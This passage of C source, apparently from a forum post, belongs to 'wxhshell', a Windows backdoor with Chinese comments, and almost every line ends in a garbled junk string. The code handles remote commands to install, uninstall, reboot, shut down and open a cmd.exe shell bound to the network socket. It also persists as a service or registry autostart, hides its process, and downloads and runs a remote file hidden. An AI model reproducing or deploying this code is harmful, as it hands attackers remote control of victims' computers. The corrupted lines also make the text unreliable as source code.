      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xU.1GI%UPu  
    break; =6u@ JpOl  
  } oX|T&"&  
  // 安装 C|V7ZL>W  
  case 'i': { 9MMCWMV  
    if(Install()) F_Y]>,U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.y +jyu  
    else ,U~A=bsa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n93q8U6m/U  
    break; 4!IuTPmr  
    } )2&3D"V  
  // 卸载 :C:6bDQ  
  case 'r': { 8K,X3a9  
    if(Uninstall()) z`zz8hK.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )[ V8YiyU  
    else $Zu?Gd?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X' `n>1z  
    break; GbSCk}>  
    } -G(me"Cu  
  // 显示 wxhshell 所在路径 YvJFZ_faX  
  case 'p': { Y4rxnXGw  
    char svExeFile[MAX_PATH]; "`>6M&`U  
    strcpy(svExeFile,"\n\r"); duaF?\vv  
      strcat(svExeFile,ExeFile); Anz{u$0M[  
        send(wsh,svExeFile,strlen(svExeFile),0); L7$f01*  
    break; YnEyL2SuU  
    } ` ,\b_SFg  
  // 重启 731Lz*IFg  
  case 'b': { \Y4(+t=4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QP (0  
    if(Boot(REBOOT)) $ VT)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8 uS#  
    else { q3x"9i `  
    closesocket(wsh); 7kLu rv  
    ExitThread(0); b j&!$')  
    } U#z"t&o=L  
    break; $|~ <6A{y  
    } &;DCN  
  // 关机 Rw?w7?I  
  case 'd': { 5i[O\@]5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cXq9k!I%  
    if(Boot(SHUTDOWN)) r8EJ@pOF2w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >V"{]v  
    else { 1aAOT6h  
    closesocket(wsh); w){B$X  
    ExitThread(0); s~Eo]e  
    } 3~`P8 9  
    break; dcf,a<K\  
    } <f>77vh0  
  // 获取shell "yu{b]AU  
  case 's': { ^T&{ORWz  
    CmdShell(wsh); hk?i0#7W  
    closesocket(wsh); xm{?h,U,  
    ExitThread(0); hkPMu@BI  
    break; zqA>eDx  
  } K*:=d }^  
  // 退出 Ae2N"%Ej  
  case 'x': { k6#$Nb606  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y6$a:6  
    CloseIt(wsh); WSozDNF!'f  
    break; WO>,=^zPJ  
    } :W)lt28_  
  // 离开 !KI^Z1dP(  
  case 'q': { "]eB2k_>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ja9u?UbW  
    closesocket(wsh); cxR.:LD}  
    WSACleanup(); fM.#FT??  
    exit(1); #ft9ms#N  
    break; ]WMzWt:L  
        } Uh0g !zzp  
  } aVR!~hvFs  
  } yy5|8L  
f/dJRcDl<  
  // 提示信息 .s\lfBo9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f>Rux1Je4  
} ~7b#B XzP  
  } +(!/(2>~  
>,,`7%Rv  
  return; _OGv2r  
} lW"0fZ_x'E  
! VT$U6  
// shell模块句柄 ^P,Pj z  
int CmdShell(SOCKET sock) fgqCX:SWz  
{ T`^Jw s{;7  
STARTUPINFO si; `\@n&y[`7  
ZeroMemory(&si,sizeof(si)); iY>P7Uvvz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; * K$ U[$s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |cd "cx+  
PROCESS_INFORMATION ProcessInfo; @KM?agtlbl  
char cmdline[]="cmd"; azFJ-0n@"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uG -+&MU?  
  return 0; %<^^ Mw  
} N4 x5!00  
jwjLxt  
// 自身启动模式 Wu6'm &t  
int StartFromService(void) r], %:imGr  
{ 9qDM0'WuU  
typedef struct r\QV%09R  
{ Fa h6 &a  
  DWORD ExitStatus; O)W+rmToI  
  DWORD PebBaseAddress; sPc}hG+N  
  DWORD AffinityMask; 4Q#{,y944  
  DWORD BasePriority; i+(>w'=m  
  ULONG UniqueProcessId; sf$hsPC^  
  ULONG InheritedFromUniqueProcessId; P84YriLo  
}   PROCESS_BASIC_INFORMATION; "'t f]s  
rV\G/)xL  
PROCNTQSIP NtQueryInformationProcess; `}`Qqv  
FI:H/e5[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4IW fp&Q!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VsTgK  
$hc=H  
  HANDLE             hProcess; CF3x\6.q}  
  PROCESS_BASIC_INFORMATION pbi; r<kgYU`  
j|8!gW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _N:$|O#  
  if(NULL == hInst ) return 0; v6G1y[Wl  
sCJ|U6Q-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X9PbU1o;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5MG4S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T-yEn&r4)  
kI a16m  
  if (!NtQueryInformationProcess) return 0; //N="9)@  
ogSDV   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fn/?I \  
  if(!hProcess) return 0; f?ycZ  
UUDbOxD^w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z796;qk  
EKO'S+~  
  CloseHandle(hProcess); tBkgn3w  
CT_tJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &u^]YE{  
if(hProcess==NULL) return 0; |%5pzYe  
/tG as  
HMODULE hMod; +5I5  
char procName[255]; p2(ha3PW  
unsigned long cbNeeded; gFuK/]gzI  
=\u,4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Tv~ *|a  
SVZ@'X\[M  
  CloseHandle(hProcess); 8&HBR #  
&\ca ? #  
if(strstr(procName,"services")) return 1; // 以服务启动 prt(xr4@  
<V}q8k  
  return 0; // 注册表启动 Q }^Ip7T  
} 0827z  
%CYo, e  
// 主模块 D1+1j:m  
int StartWxhshell(LPSTR lpCmdLine) @i> r(X  
{ 1P"{TMd?  
  SOCKET wsl; $DfK}CT  
BOOL val=TRUE; FZ%h7Oe  
  int port=0; &Jb$YKt  
  struct sockaddr_in door; g]JJ!$*1  
Zgp9Uu}"  
  if(wscfg.ws_autoins) Install(); Lp"OXJ*es  
\VEnP=*:W  
port=atoi(lpCmdLine); !0? B=yA  
%Iflf]l  
if(port<=0) port=wscfg.ws_port; w%TrL+v  
&n8Ja@Y]  
  WSADATA data; Gjq7@F'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vO$cF*  
Z'9|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4a& 8G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^HR8.9^[1u  
  door.sin_family = AF_INET; 'bLP#TAzf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ID`C  
  door.sin_port = htons(port); |*w)]2B l  
"CC"J(&a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \z2y?"\?  
closesocket(wsl); .czUJyFms}  
return 1; N;YFr  
} ,6MJW#~]  
Dz$w6 d  
  if(listen(wsl,2) == INVALID_SOCKET) { tA4Ra,-c  
closesocket(wsl); o:cTc:l)  
return 1; T<>B5G~%  
} OAiW8B Ae  
  Wxhshell(wsl); bJ 6ivz  
  WSACleanup(); u59l)8=  
RLL ph  
return 0; ?[bE/Ya+S  
ZZ{c  
} `WCL-OoZc5  
x ~)~v?>T  
// 以NT服务方式启动 aY,Bt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &R.5t/x_  
{ t oDi70o  
DWORD   status = 0; gfN=0Xj4  
  DWORD   specificError = 0xfffffff; XRkUv>Yk  
NBasf n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f{L;,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'ParMT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EpRn,[  
  serviceStatus.dwWin32ExitCode     = 0; mE{QTZS  
  serviceStatus.dwServiceSpecificExitCode = 0; PN9vg9'  
  serviceStatus.dwCheckPoint       = 0; re%XaL  
  serviceStatus.dwWaitHint       = 0; #6#n4`%ER  
I:oEt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f^QC4hf0  
  if (hServiceStatusHandle==0) return; *re?V9  
=$bF[3D  
status = GetLastError(); #E=8kbD7  
  if (status!=NO_ERROR) vf>d{F^rv  
{ <G<5)$ S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GK,{$SC+=  
    serviceStatus.dwCheckPoint       = 0; ZRc^}5}WA  
    serviceStatus.dwWaitHint       = 0; Z R=[@Oi  
    serviceStatus.dwWin32ExitCode     = status; n7~3~i` D;  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Fze9kZO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YwY?tOxBe  
    return; 9&zR i  
  } >*O5Ry:4  
`$JZJ!,A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u=s,bt,"5  
  serviceStatus.dwCheckPoint       = 0; BcpbS%S  
  serviceStatus.dwWaitHint       = 0; xWa[qCr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >{~xO 6H  
} }oG6XI9  
Ca?w"m~h  
// 处理NT服务事件,比如:启动、停止 ZGX"Vn|YL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _nzq(m1@  
{ [#\OCdb*3  
switch(fdwControl) KLG.?`h:  
{ &,PA+#  
case SERVICE_CONTROL_STOP: M^HYkXn[  
  serviceStatus.dwWin32ExitCode = 0; fk?!0M6d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @VOegf+N  
  serviceStatus.dwCheckPoint   = 0; 5M'cOJ  
  serviceStatus.dwWaitHint     = 0; @V^.eVM\R  
  { O"TVxP:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Oh$pZRymu  
  } P%yL{  
  return; Yyd}>+|<,  
case SERVICE_CONTROL_PAUSE: S{2;PaK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NW0se DL  
  break; ?Q=(?yR0]  
case SERVICE_CONTROL_CONTINUE: X1o R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U,yZ.1V^:  
  break; CpX[8>&osD  
case SERVICE_CONTROL_INTERROGATE: _'Vo3b  
  break; cC$YD]XdIA  
}; >a2[P"   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~MB)}!S:  
} I;_T_m4.q  
%j17QD8  
// 标准应用程序主函数 MU] F'6V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pcscNUp  
{ 0]DX KI  
W6EEC<$JL  
// 获取操作系统版本 zn= pm#L  
OsIsNt=GetOsVer(); 6-?/kY6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `'r]Oe  
3kGg;z6  
  // 从命令行安装 }mZCQJ#`  
  if(strpbrk(lpCmdLine,"iI")) Install(); J'=s25OWU  
MMaS  
  // 下载执行文件 j&A9 &+w  
if(wscfg.ws_downexe) { uW[AnQ1w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /#_[{lSr?  
  WinExec(wscfg.ws_filenam,SW_HIDE); k"BM1-f  
} }/NjZ*u  
u\xrC\Ka  
if(!OsIsNt) { e>!]_B1ad  
// 如果时win9x,隐藏进程并且设置为注册表启动 $[cB6  
HideProc(); F [-D +Nka  
StartWxhshell(lpCmdLine); 3~WI3ZIR  
}  L=!h`k  
else &2@Rc?!6_P  
  if(StartFromService()) Oa@SyroF=  
  // 以服务方式启动 #|:q"l9  
  StartServiceCtrlDispatcher(DispatchTable); Avljrds+7  
else E'8XXV^I?P  
  // 普通方式启动 z:dW'U?1  
  StartWxhshell(lpCmdLine); {~EsO1p  
id`9,IJx  
return 0; qIzv|Nte  
}
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只看该作者 1 发表于: 2006-10-10
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